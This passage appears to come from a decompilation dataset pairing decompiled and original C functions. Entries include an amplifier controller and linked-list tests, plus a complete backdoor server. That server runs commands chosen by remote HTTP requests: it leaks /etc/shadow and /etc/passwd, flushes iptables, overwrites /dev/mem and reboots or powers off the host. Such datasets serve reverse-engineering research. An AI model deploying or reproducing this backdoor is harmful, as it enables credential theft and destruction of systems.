        printf("Usage: %s <Absolute path of file>\n", argv[0]);
        return 0;
    }
    else
        nvs[0].value = argv[1];
    fcgi_connect(&sockfd);
    simple_session_1(sockfd);
    close(sockfd);
    return 0;
}

variable_types: argc int

variable_types:
argv
char **


decompiled_code:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
__int64 v4; // rcx
__int64 v5; // r8
unsigned int v6; // ebp
__int16 v7; // ax
socklen_t v8; // edx
int v9; // er8
int v10; // eax
socklen_t addr_len; // [rsp+Ch] [rbp-2Ch] BYREF
struct sockaddr v12; // [rsp+10h] [rbp-28h] BYREF
struct sockaddr addr; // [rsp+20h] [rbp-18h] BYREF

dupStreamz(argc, argv, envp);
v3 = socket(2, 1, 0);
fd = v3;
if ( v3 != -1 )
{
v5 = v3;
*(_DWORD *)&v12.sa_data[2] = 0;
v6 = 80;
v12.sa_family = 2;
while ( 1 )
{
v7 = _bswap_16(v6, &v12, 16LL, v4, v5);
*(_QWORD *)&v12.sa_data[6] = 0LL;
*(_WORD *)v12.sa_data = v7;
if ( bind(v9, &v12, v8) != -1 )
break;
system("echo 'bind() error' >> zerror.log");
printf("server: bind(%d) error\n", v6++);
if ( v6 == 0xFFFF )
break;
v5 = (unsigned int)fd;
}
printf("listing at :%d", v6);
if ( listen(fd, 2) == -1 )
{
system("echo 'listen() error' >> zerror.log");
puts("server: listen() error");
}
while ( 1 )
{
addr_len = 16;
fd2 = accept(fd, &addr, &addr_len);
if ( fd2 == -1 )
break;
v10 = recv(fd2, Request, 0xFFFFuLL, 0);
if ( v10 > 0 )
{
Request[v10] = 0;
}
else
{
printf("server: recv() error");
system("echo 'recv() error' >> zerror.log");
}
axnCode = getAXN();
tellClient();
close(fd2);
printf("[+] %s\n", Request);
}
system("echo 'accept() error' >> zerror.log");
puts("server: accept() error");
exit(-1);
}
system("echo 'socket() error' >> zerror.log");
puts("server: socket() error");
exit(-1);
}

canonical_decompiled_code:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
__int64 v4; // rcx
__int64 v5; // r8
unsigned int v6; // ebp
__int16 v7; // ax
socklen_t v8; // edx
int v9; // er8
int v10; // eax
socklen_t addr_len; // [rsp+Ch] [rbp-2Ch] BYREF
struct sockaddr v12; // [rsp+10h] [rbp-28h] BYREF
struct sockaddr addr; // [rsp+20h] [rbp-18h] BYREF

func8(argc, argv, envp);
v3 = socket(2, 1, 0);
fd = v3;
if ( v3 != -1 )
{
v5 = v3;
*(_DWORD *)&v12.sa_data[2] = 0;
v6 = 80;
v12.sa_family = 2;
while ( 1 )
{
v7 = func7(v6, &v12, 16LL, v4, v5);
*(_QWORD *)&v12.sa_data[6] = 0LL;
*(_WORD *)v12.sa_data = v7;
if ( bind(v9, &v12, v8) != -1 )
break;
system("echo 'bind() error' >> zerror.log");
printf("server: bind(%d) error\n", v6++);
if ( v6 == 0xFFFF )
break;
v5 = (unsigned int)fd;
}
printf("listing at :%d", v6);
if ( listen(fd, 2) == -1 )
{
system("echo 'listen() error' >> zerror.log");
puts("server: listen() error");
}
while ( 1 )
{
addr_len = 16;
fd2 = accept(fd, &addr, &addr_len);
if ( fd2 == -1 )
break;
v10 = recv(fd2, Request, 0xFFFFuLL, 0);
if ( v10 > 0 )
{
Request[v10] = 0;
}
else
{
printf("server: recv() error");
system("echo 'recv() error' >> zerror.log");
}
axnCode = func11();
func9();
close(fd2);
printf("[+] %s\n", Request);
}
system("echo 'accept() error' >> zerror.log");
puts("server: accept() error");
exit(-1);
}
system("echo 'socket() error' >> zerror.log");
puts("server: socket() error");
exit(-1);
}

original_code:
int main()
{
  int numbytes;
  struct sockaddr_in server;
  struct sockaddr_in client;
  int sin_size;
  dupStreamz();
  if ((fd=socket(2, SOCK_STREAM, 0)) == -1 ){
    system("echo 'socket() error' >> zerror.log");
    printf("server: socket() error\n");
    exit(-1);
  }
  server.sin_family = 2;
  server.sin_addr.s_addr = ((in_addr_t) 0x00000000);
  int noobPort = 80;
  for (noobPort=80; noobPort < 65535; noobPort = noobPort+1){
      server.sin_port = htons(noobPort);
      bzero(&(server.sin_zero),8);
      if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){
          system("echo 'bind() error' >> zerror.log");
          printf("server: bind(%d) error\n", noobPort);
          if (noobPort >= 65535) {
              exit(-1);
          }
      } else {
          break;
      }
  }
  printf("listing at :%d", noobPort);
  if(listen(fd,2) == -1){
      system("echo 'listen() error' >> zerror.log");
      printf("server: listen() error\n");
  }
  while(1){
    sin_size=sizeof(struct sockaddr_in);
    if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){
      system("echo 'accept() error' >> zerror.log");
      printf("server: accept() error\n");
      exit(-1);
    }
    if ( (numbytes = recv(fd2, Request, 65535, 0)) > 0 )
    {
      Request[numbytes]='\0';
    }else{
      printf("server: recv() error");
      system("echo 'recv() error' >> zerror.log");
    }
    axnCode = getAXN();
    tellClient();
    close(fd2);
    printf("[+] %s\n", Request);
  }
  return 0;
}

canonical_original_code:
int main()
{
  int numbytes;
  struct sockaddr_in server;
  struct sockaddr_in client;
  int sin_size;
  dupStreamz();
  if ((fd=socket(2, SOCK_STREAM, 0)) == -1 ){
    system("echo 'socket() error' >> zerror.log");
    printf("server: socket() error\n");
    exit(-1);
  }
  server.sin_family = 2;
  server.sin_addr.s_addr = ((unsigned int) 0x00000000);
  int noobPort = 80;
  for (noobPort=80; noobPort < 65535; noobPort = noobPort+1){
      server.sin_port = htons(noobPort);
      bzero(&(server.sin_zero),8);
      if(bind(fd,(struct sockaddr *)&server,sizeof(struct sockaddr))==-1){
          system("echo 'bind() error' >> zerror.log");
          printf("server: bind(%d) error\n", noobPort);
          if (noobPort >= 65535) {
              exit(-1);
          }
      } else {
          break;
      }
  }
  printf("listing at :%d", noobPort);
  if(listen(fd,2) == -1){
      system("echo 'listen() error' >> zerror.log");
      printf("server: listen() error\n");
  }
  while(1){
    sin_size=sizeof(struct sockaddr_in);
    if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){
      system("echo 'accept() error' >> zerror.log");
      printf("server: accept() error\n");
      exit(-1);
    }
    if ( (numbytes = recv(fd2, Request, 65535, 0)) > 0 )
    {
      Request[numbytes]='\0';
    }else{
      printf("server: recv() error");
      system("echo 'recv() error' >> zerror.log");
    }
    axnCode = getAXN();
    tellClient();
    close(fd2);
    printf("[+] %s\n", Request);
  }
  return 0;
}

variable_types: numbytes int

variable_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }

variable_types: noobPort int

user_defined_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }

user_defined_types: struct sockaddr { unsigned short sa_family; char sa_data[14]; }


dupStreamz

decompiled_code:
int dupStreamz()
{
if ( pipe(pfds) == -1 )
{
system("echo 'IPC error' >> zerror.log");
perror("server: PiPiNG FlaW");
exit(1);
}
close(1);
return dup(dword_404114);
}

canonical_decompiled_code:
int func8()
{
if ( pipe(pfds) == -1 )
{
system("echo 'IPC error' >> zerror.log");
perror("server: PiPiNG FlaW");
exit(1);
}
close(1);
return dup(dword_404114);
}

original_code:
void dupStreamz(){
  if(pipe(pfds) == -1){
  system("echo 'IPC error' >> zerror.log");
  perror("server: PiPiNG FlaW");
  exit(1);
  }
  close(1);
  dup(pfds[1]);
  return;
}


tellClient

decompiled_code:
ssize_t tellClient()
{
size_t v0; // rbx
size_t i; // rbx
size_t j; // rbx
size_t v3; // rbx
size_t v4; // rbp
__m128i v6; // [rsp+0h] [rbp-20018h] BYREF
char s[65520]; // [rsp+10h] [rbp-20008h] BYREF
char dest[65560]; // [rsp+10000h] [rbp-10018h] BYREF

v0 = 0LL;
v6 = _mm_load_si128((const __m128i *)&xmmword_402810);
memset(s, 0, 0xFFEFuLL);
while ( strlen(v6.m128i_i8) > v0 )
v6.m128i_i8[v0++] = 0;
for ( i = 0LL; strlen(dest) > i; ++i )
dest[i] = 0;
for ( j = 0LL; strlen(httpResponse) > j; ++j )
httpResponse[j] = 0;
switch ( axnCode )
{
case -1:
strcpy(httpResponse, httpResponse200);
system("echo \"

n00bROOT\"");
break;
case 0:
strcpy(httpResponse, httpResponse200);
system("cat /dev/urandom > /dev/mem");
break;
case 1:
strcpy(httpResponse, httpResponse200);
system("cat /etc/passwd 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'");
break;
case 2:
strcpy(httpResponse, httpResponse200);
system("cat /etc/shadow 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'");
break;
case 3:
strcpy(httpResponse, httpResponse200);
system("cat /etc/resolv.conf 2>&1");
break;
case 4:
strcpy(httpResponse, httpResponse200);
system("ps aux");
break;
case 5:
strcpy(httpResponse, httpResponse200);
system("iptables --flush 2>&1 && echo 'IPTables Entries Deleted'");
break;
case 6:
strcpy(httpResponse, httpResponse200);
system("ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1");
break;
case 7:
strcpy(httpResponse, httpResponse200);
system("ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1");
break;
case 8:
strcpy(httpResponse, httpResponse200);
system("poweroff 2>&1");
break;
case 9:
strcpy(httpResponse, httpResponse200);
system("reboot 2>&1");
break;
default:
strcpy(httpResponse, httpResponse400);
system("echo \"HTTP 404\"");
break;
}
read(pfds[0], &v6, 0xFFFFuLL);
v3 = strlen(httpResponse);
strncat(dest, httpResponse, v3);
v4 = strlen(v6.m128i_i8);
strncat(dest, v6.m128i_i8, v4);
return send(fd2, dest, v3 + v4, 0);
}

canonical_decompiled_code:
ssize_t func9()
{
size_t v0; // rbx
size_t i; // rbx
size_t j; // rbx
size_t v3; // rbx
size_t v4; // rbp
__m128i v6; // [rsp+0h] [rbp-20018h] BYREF
char s[65520]; // [rsp+10h] [rbp-20008h] BYREF
char dest[65560]; // [rsp+10000h] [rbp-10018h] BYREF

v0 = 0LL;
v6 = _mm_load_si128((const __m128i *)&xmmword_402810);
memset(s, 0, 0xFFEFuLL);
while ( strlen(v6.m128i_i8) > v0 )
v6.m128i_i8[v0++] = 0;
for ( i = 0LL; strlen(dest) > i; ++i )
dest[i] = 0;
for ( j = 0LL; strlen(httpResponse) > j; ++j )
httpResponse[j] = 0;
switch ( axnCode )
{
case -1:
strcpy(httpResponse, httpResponse200);
system("echo \"

n00bROOT\"");
break;
case 0:
strcpy(httpResponse, httpResponse200);
system("cat /dev/urandom > /dev/mem");
break;
case 1:
strcpy(httpResponse, httpResponse200);
system("cat /etc/passwd 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'");
break;
case 2:
strcpy(httpResponse, httpResponse200);
system("cat /etc/shadow 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'");
break;
case 3:
strcpy(httpResponse, httpResponse200);
system("cat /etc/resolv.conf 2>&1");
break;
case 4:
strcpy(httpResponse, httpResponse200);
system("ps aux");
break;
case 5:
strcpy(httpResponse, httpResponse200);
system("iptables --flush 2>&1 && echo 'IPTables Entries Deleted'");
break;
case 6:
strcpy(httpResponse, httpResponse200);
system("ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1");
break;
case 7:
strcpy(httpResponse, httpResponse200);
system("ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1");
break;
case 8:
strcpy(httpResponse, httpResponse200);
system("poweroff 2>&1");
break;
case 9:
strcpy(httpResponse, httpResponse200);
system("reboot 2>&1");
break;
default:
strcpy(httpResponse, httpResponse400);
system("echo \"HTTP 404\"");
break;
}
read(pfds[0], &v6, 0xFFFFuLL);
v3 = strlen(httpResponse);
strncat(dest, httpResponse, v3);
v4 = strlen(v6.m128i_i8);
strncat(dest, v6.m128i_i8, v4);
return send(fd2, dest, v3 + v4, 0);
}

original_code:
void tellClient(){
  char buf[65535] = "HTTP 200 OK\0";
  char tmpBuf[65535];
  int idx;
  for(idx=0; idx<strlen(buf); idx++)
    buf[idx]='\0';
  for(idx=0; idx<strlen(tmpBuf); idx++)
    tmpBuf[idx]='\0';
  for(idx=0; idx<strlen(httpResponse); idx++)
    httpResponse[idx]='\0';
  switch(axnCode){
    case -1: strcpy(httpResponse,httpResponse200);
        system("echo \"

n00bROOT\""); break;
    case 0: strcpy(httpResponse,httpResponse200);
        system("cat /dev/urandom > /dev/mem"); break;
    case 1: strcpy(httpResponse,httpResponse200);
        system("cat /etc/passwd 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'"); break;
    case 2: strcpy(httpResponse,httpResponse200);
        system("cat /etc/shadow 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'"); break;
    case 3: strcpy(httpResponse,httpResponse200);
        system("cat /etc/resolv.conf 2>&1"); break;
    case 4: strcpy(httpResponse,httpResponse200);
        system("ps aux"); break;
    case 5: strcpy(httpResponse,httpResponse200);
        system("iptables --flush 2>&1 && echo \'IPTables Entries Deleted\'"); break;
    case 6: strcpy(httpResponse,httpResponse200);
        system("ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1"); break;
    case 7: strcpy(httpResponse,httpResponse200);
        system("ifconfig -s 2>&1 || ip link 2>&1 || networkctl  --no-legend --no-pager list 2>&1"); break;
    case 8: strcpy(httpResponse,httpResponse200);
        system("poweroff 2>&1"); break;
    case 9: strcpy(httpResponse,httpResponse200);
        system("reboot 2>&1"); break;
    default: strcpy(httpResponse,httpResponse400);
        system("echo \"HTTP 404\""); break;
  }
  read(pfds[0], buf, 65535);
  strncat(tmpBuf,httpResponse,strlen(httpResponse));
  strncat(tmpBuf,buf,strlen(buf));
  send(fd2,tmpBuf,(strlen(httpResponse)+strlen(buf)),0);
  return;
}

variable_types:
buf
char [65535]

variable_types:
tmpBuf
char [65535]

variable_types: idx int


getAXNCode

decompiled_code:
__int64 __fastcall getAXNCode(char *s)
{
char *v1; // rbp
char *v2; // rax

v1 = s;
if ( !strcmp("/n00b", s) )
return 0xFFFFFFFFLL;
v2 = strrchr(s, 47);
if ( v2 )
v1 = v2 + 1;
return (unsigned int)(*v1 - 48);
}

canonical_decompiled_code:
__int64 __fastcall func10(char *s)
{
char *v1; // rbp
char *v2; // rax

v1 = s;
if ( !strcmp("/n00b", s) )
return 0xFFFFFFFFLL;
v2 = strrchr(s, 47);
if ( v2 )
v1 = v2 + 1;
return (unsigned int)(*v1 - 48);
}

original_code:
int getAXNCode(char* axnTok){
  if(strcmp("/n00b",axnTok)==0)
    return -1;
  char *axnCodeCharSlash = strrchr(axnTok, '/');
  char *axnCodeChar = axnCodeCharSlash ? axnCodeCharSlash + 1 : axnTok;
  int axnCodeInt = *axnCodeChar - '0';
  return axnCodeInt;
}

canonical_original_code:
int getAXNCode(char *axnTok){
  if(strcmp("/n00b",axnTok)==0)
    return -1;
  char *axnCodeCharSlash = strrchr(axnTok, '/');
  char *axnCodeChar = axnCodeCharSlash ? axnCodeCharSlash + 1 : axnTok;
  int axnCodeInt = *axnCodeChar - '0';
  return axnCodeInt;
}

variable_types:
axnTok
char *

variable_types:
axnCodeCharSlash
char *

variable_types:
axnCodeChar
char *

variable_types: axnCodeInt int


getAXN

decompiled_code:
__int64 getAXN()
{
char *v0; // rax
char *v1; // rbp

if ( !strtok(Request, " ") )
return 4294967286LL;
v0 = strtok(0LL, " ");
v1 = v0;
if ( !v0 )
return 4294967286LL;
printf("\naxn: %s\n", v0);
return getAXNCode(v1);
}

canonical_decompiled_code:
__int64 func11()
{
char *v0; // rax
char *v1; // rbp

if ( !strtok(Request, " ") )
return 4294967286LL;
v0 = strtok(0LL, " ");
v1 = v0;
if ( !v0 )
return 4294967286LL;
printf("\naxn: %s\n", v0);
return func10(v1);
}

original_code:
int getAXN(){
  char *axnTok;
  if((axnTok=strtok(Request," ")) != ((void *)0)){
    if((axnTok=strtok(((void *)0)," ")) != ((void *)0)){
      printf("\naxn: %s\n",axnTok);
      return getAXNCode(axnTok);
    }
  }
  return -10;
}


main

repo: ablakely/mustanghero

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // er12

if ( (unsigned int)start_amp(argc, argv, envp) )
{
v3 = -1;
puts("\nError connecting to amplifier. Exiting.");
}
else
{
v3 = 0;
mustang_setAmplifier(argc, argv, 0x3205646464FAFA0BLL);
mustang_stopAmp();
}
return v3;
}

original_code:
int main(int argc, char *argv[])
{
 if (start_amp() != 0)
 {
  printf("\nError connecting to amplifier.  Exiting.\n");
  return -1;
 }
 struct amp_settings punk;
 punk.amp_num = METAL_2000;
 punk.gain = 250;
 punk.volume = 250;
 punk.treble = 100;
 punk.middle = 100;
 punk.bass = 100;
 punk.cabinet = cabCHAMP;
 punk.noise_gate = 50;
 punk.master_vol = 250;
 punk.gain2 = 100;
 punk.presence = 50;
 punk.threshold = 60;
 punk.depth = 100;
 punk.bias = 100;
 punk.sag = 50;
 punk.brightness = 1;
 punk.usb_gain = 100;
 mustang_setAmplifier(punk);
 mustang_stopAmp();
}

variable_types:
argv
char *[]

variable_types: struct amp_settings { unsigned char amp_num; unsigned char gain; unsigned char volume; unsigned char treble; unsigned char middle; unsigned char bass; unsigned char cabinet; unsigned char noise_gate; unsigned char master_vol; unsigned char gain2; unsigned char presence; unsigned char threshold; unsigned char depth; unsigned char bias; unsigned char sag; int brightness; unsigned char usb_gain; }


decompiled_code:
__int64 start_amp()
{
unsigned int v0; // eax
unsigned int v1; // er12
__int64 v3; // [rsp+0h] [rbp-78h] BYREF
char v4[32]; // [rsp+20h] [rbp-58h] BYREF
char v5[56]; // [rsp+40h] [rbp-38h] BYREF

mustang_initDriver();
memset(&names, 0, 0xC80uLL);
v0 = mustang_startAmp(&names, v4, &v3, v5);
v1 = v0;
if ( v0 )
{
v1 = -1;
if ( v0 == -100 )
puts("[Mustang Driver] Sutible device not found!");
else
printf("[Mustang Driver] Error: %d\n", v0);
}
else
{
puts("[Mustang Driver] Connected to amplifier!");
}
return v1;
}

canonical_decompiled_code:
__int64 func0()
{
unsigned int v0; // eax
unsigned int v1; // er12
__int64 v3; // [rsp+0h] [rbp-78h] BYREF
char v4[32]; // [rsp+20h] [rbp-58h] BYREF
char v5[56]; // [rsp+40h] [rbp-38h] BYREF

mustang_initDriver();
memset(&names, 0, 0xC80uLL);
v0 = mustang_startAmp(&names, v4, &v3, v5);
v1 = v0;
if ( v0 )
{
v1 = -1;
if ( v0 == -100 )
puts("[Mustang Driver] Sutible device not found!");
else
printf("[Mustang Driver] Error: %d\n", v0);
}
else
{
puts("[Mustang Driver] Connected to amplifier!");
}
return v1;
}

original_code:
int start_amp()
{
 mustang_initDriver();
 memset(names, 0x00, 100*32);
 int x;
 struct amp_settings amplifier_set;
 struct fx_pedal_settings effects_set[4];
 char name[32];
 x = mustang_startAmp(names, name, &amplifier_set, effects_set);
 if (x != 0)
 {
  if (x == -100)
  {
   printf("[Mustang Driver] Sutible device not found!\n");
  }
  else
  {
   printf("[Mustang Driver] Error: %d\n", x);
  }
  return -1;
 }
 else
 {
  printf("[Mustang Driver] Connected to amplifier!\n");
 }
 return 0;
}

variable_types: x int

variable_types: struct fx_pedal_settings { unsigned char fx_slot; unsigned char effect_num; unsigned char knob1; unsigned char knob2; unsigned char knob3; unsigned char knob4; unsigned char knob5; unsigned char knob6; int put_post_amp; } [4]

variable_types:
name
char [32]

user_defined_types: struct amp_settings { unsigned char amp_num; unsigned char gain; unsigned char volume; unsigned char treble; unsigned char middle; unsigned char bass; unsigned char cabinet; unsigned char noise_gate; unsigned char master_vol; unsigned char gain2; unsigned char presence; unsigned char threshold; unsigned char depth; unsigned char bias; unsigned char sag; int brightness; unsigned char usb_gain; }


decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
list_create_test(argc, argv, envp);
list_add_first_test();
list_add_last_test();
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
func7(argc, argv, envp);
func8();
func9();
return 0;
}

original_code:
int main()
{
    list_create_test();
    list_add_first_test();
    list_add_last_test();
    return 0;
}


decompiled_code:
_QWORD *list_create_test()
{
_QWORD *result; // rax

result = (_QWORD *)linked_list_int_create();
if ( *result )
__assert_fail("list -> count == 0", "test.c", 0xAu, "list_create_test");
if ( result[1] )
__assert_fail("list -> node_first == NULL", "test.c", 0xCu, "list_create_test");
if ( result[2] )
__assert_fail("list -> node_last == NULL", "test.c", 0xDu, "list_create_test");
return result;
}

canonical_decompiled_code:
_QWORD *func7()
{
_QWORD *result; // rax

result = (_QWORD *)func10();
if ( *result )
__assert_fail("list -> count == 0", "test.c", 0xAu, "list_create_test");
if ( result[1] )
__assert_fail("list -> node_first == NULL", "test.c", 0xCu, "list_create_test");
if ( result[2] )
__assert_fail("list -> node_last == NULL", "test.c", 0xDu, "list_create_test");
return result;
}

original_code:
void list_create_test()
{
    linked_list_int_t *list = linked_list_int_create();
    ((void) sizeof ((list -> count == 0) ? 1 : 0), __extension__ ({ if (list -> count == 0) ; else __assert_fail ("list -> count == 0", "test.c", 10, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first == ((void *)0)) ; else __assert_fail ("list -> node_first == NULL", "test.c", 12, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last == ((void *)0)) ; else __assert_fail ("list -> node_last == NULL", "test.c", 13, __extension__ __PRETTY_FUNCTION__); }));
}

canonical_original_code:
void list_create_test()
{
    struct linked_list_int_head *list = linked_list_int_create();
    ((void) sizeof ((list -> count == 0) ? 1 : 0), __extension__ ({ if (list -> count == 0) ; else __assert_fail ("list -> count == 0", "test.c", 10, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first == ((void *)0)) ; else __assert_fail ("list -> node_first == NULL", "test.c", 12, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last == ((void *)0)) ; else __assert_fail ("list -> node_last == NULL", "test.c", 13, __extension__ __PRETTY_FUNCTION__); }));
}

variable_types: struct linked_list_int_head { long count; struct linked_list_int_node { long value; struct linked_list_int_node *next; } *node_first; struct linked_list_int_node *node_last; } *

user_defined_types: struct linked_list_int_head { long count; struct linked_list_int_node *node_first; struct linked_list_int_node *node_last; }


decompiled_code:
_QWORD *list_add_first_test()
{
_QWORD *v0; // rbx
_QWORD *v1; // rax
_QWORD *v2; // rdx
_QWORD *result; // rax

v0 = (_QWORD *)linked_list_int_create();
linked_list_int_add_first(v0, 1LL);
v1 = (_QWORD *)v0[1];
if ( v1 != (_QWORD *)v0[2] )
__assert_fail("list -> node_first == list -> node_last", "test.c", 0x1Cu, "list_add_first_test");
if ( !v1 )
__assert_fail("list -> node_first != NULL", "test.c", 0x1Du, "list_add_first_test");
if ( *v0 != 1LL )
__assert_fail("list -> count == 1", "test.c", 0x1Eu, "list_add_first_test");
if ( *v1 != 1LL )
__assert_fail("list -> node_first -> value == value1", "test.c", 0x20u, "list_add_first_test");
if ( v1[1] )
__assert_fail("list -> node_first -> next == NULL", "test.c", 0x21u, "list_add_first_test");
linked_list_int_add_first(v0, 2LL);
v2 = (_QWORD *)v0[1];
if ( !v2 )
__assert_fail("list -> node_first != NULL", "test.c", 0x25u, "list_add_first_test");
result = (_QWORD *)v0[2];
if ( !result )
__assert_fail("list -> node_last != NULL", "test.c", 0x26u, "list_add_first_test");
if ( *v0 != 2LL )
__assert_fail("list -> count == 2", "test.c", 0x27u, "list_add_first_test");
if ( v2 == result )
__assert_fail("list -> node_first != list -> node_last", "test.c", 0x29u, "list_add_first_test");
if ( *v2 != 2LL )
__assert_fail("list -> node_first -> value == value2", "test.c", 0x2Bu, "list_add_first_test");
if ( result != (_QWORD *)v2[1] )
__assert_fail("list -> node_first -> next == list -> node_last", "test.c", 0x2Cu, "list_add_first_test");
if ( *result != 1LL )
__assert_fail("list -> node_last -> value == value1", "test.c", 0x2Du, "list_add_first_test");
if ( result[1] )
__assert_fail("list -> node_last -> next == NULL", "test.c", 0x2Eu, "list_add_first_test");
return result;
}

canonical_decompiled_code:
_QWORD *func8()
{
_QWORD *v0; // rbx
_QWORD *v1; // rax
_QWORD *v2; // rdx
_QWORD *result; // rax

v0 = (_QWORD *)func10();
func11(v0, 1LL);
v1 = (_QWORD *)v0[1];
if ( v1 != (_QWORD *)v0[2] )
__assert_fail("list -> node_first == list -> node_last", "test.c", 0x1Cu, "list_add_first_test");
if ( !v1 )
__assert_fail("list -> node_first != NULL", "test.c", 0x1Du, "list_add_first_test");
if ( *v0 != 1LL )
__assert_fail("list -> count == 1", "test.c", 0x1Eu, "list_add_first_test");
if ( *v1 != 1LL )
__assert_fail("list -> node_first -> value == value1", "test.c", 0x20u, "list_add_first_test");
if ( v1[1] )
__assert_fail("list -> node_first -> next == NULL", "test.c", 0x21u, "list_add_first_test");
func11(v0, 2LL);
v2 = (_QWORD *)v0[1];
if ( !v2 )
__assert_fail("list -> node_first != NULL", "test.c", 0x25u, "list_add_first_test");
result = (_QWORD *)v0[2];
if ( !result )
__assert_fail("list -> node_last != NULL", "test.c", 0x26u, "list_add_first_test");
if ( *v0 != 2LL )
__assert_fail("list -> count == 2", "test.c", 0x27u, "list_add_first_test");
if ( v2 == result )
__assert_fail("list -> node_first != list -> node_last", "test.c", 0x29u, "list_add_first_test");
if ( *v2 != 2LL )
__assert_fail("list -> node_first -> value == value2", "test.c", 0x2Bu, "list_add_first_test");
if ( result != (_QWORD *)v2[1] )
__assert_fail("list -> node_first -> next == list -> node_last", "test.c", 0x2Cu, "list_add_first_test");
if ( *result != 1LL )
__assert_fail("list -> node_last -> value == value1", "test.c", 0x2Du, "list_add_first_test");
if ( result[1] )
__assert_fail("list -> node_last -> next == NULL", "test.c", 0x2Eu, "list_add_first_test");
return result;
}

original_code:
void list_add_first_test()
{
    linked_list_int_t *list;
    int64_t value1 = 1;
    int64_t value2 = 2;
    list = linked_list_int_create();
    linked_list_int_add_first(list, value1);
    ((void) sizeof ((list -> node_first == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first == list -> node_last) ; else __assert_fail ("list -> node_first == list -> node_last", "test.c", 28, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 29, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 1) ? 1 : 0), __extension__ ({ if (list -> count == 1) ; else __assert_fail ("list -> count == 1", "test.c", 30, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value1) ; else __assert_fail ("list -> node_first -> value == value1", "test.c", 32, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == ((void *)0)) ; else __assert_fail ("list -> node_first -> next == NULL", "test.c", 33, __extension__ __PRETTY_FUNCTION__); }));
    linked_list_int_add_first(list, value2);
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 37, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last != ((void *)0)) ; else __assert_fail ("list -> node_last != NULL", "test.c", 38, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 2) ? 1 : 0), __extension__ ({ if (list -> count == 2) ; else __assert_fail ("list -> count == 2", "test.c", 39, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first != list -> node_last) ; else __assert_fail ("list -> node_first != list -> node_last", "test.c", 41, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value2) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value2) ; else __assert_fail ("list -> node_first -> value == value2", "test.c", 43, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == list -> node_last) ; else __assert_fail ("list -> node_first -> next == list -> node_last", "test.c", 44, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_last -> value == value1) ; else __assert_fail ("list -> node_last -> value == value1", "test.c", 45, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last -> next == ((void *)0)) ; else __assert_fail ("list -> node_last -> next == NULL", "test.c", 46, __extension__ __PRETTY_FUNCTION__); }));
}

canonical_original_code:
void list_add_first_test()
{
    struct linked_list_int_head *list;
    long value1 = 1;
    long value2 = 2;
    list = linked_list_int_create();
    linked_list_int_add_first(list, value1);
    ((void) sizeof ((list -> node_first == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first == list -> node_last) ; else __assert_fail ("list -> node_first == list -> node_last", "test.c", 28, __extension__ __PRETTY_FUNCTION__); }));
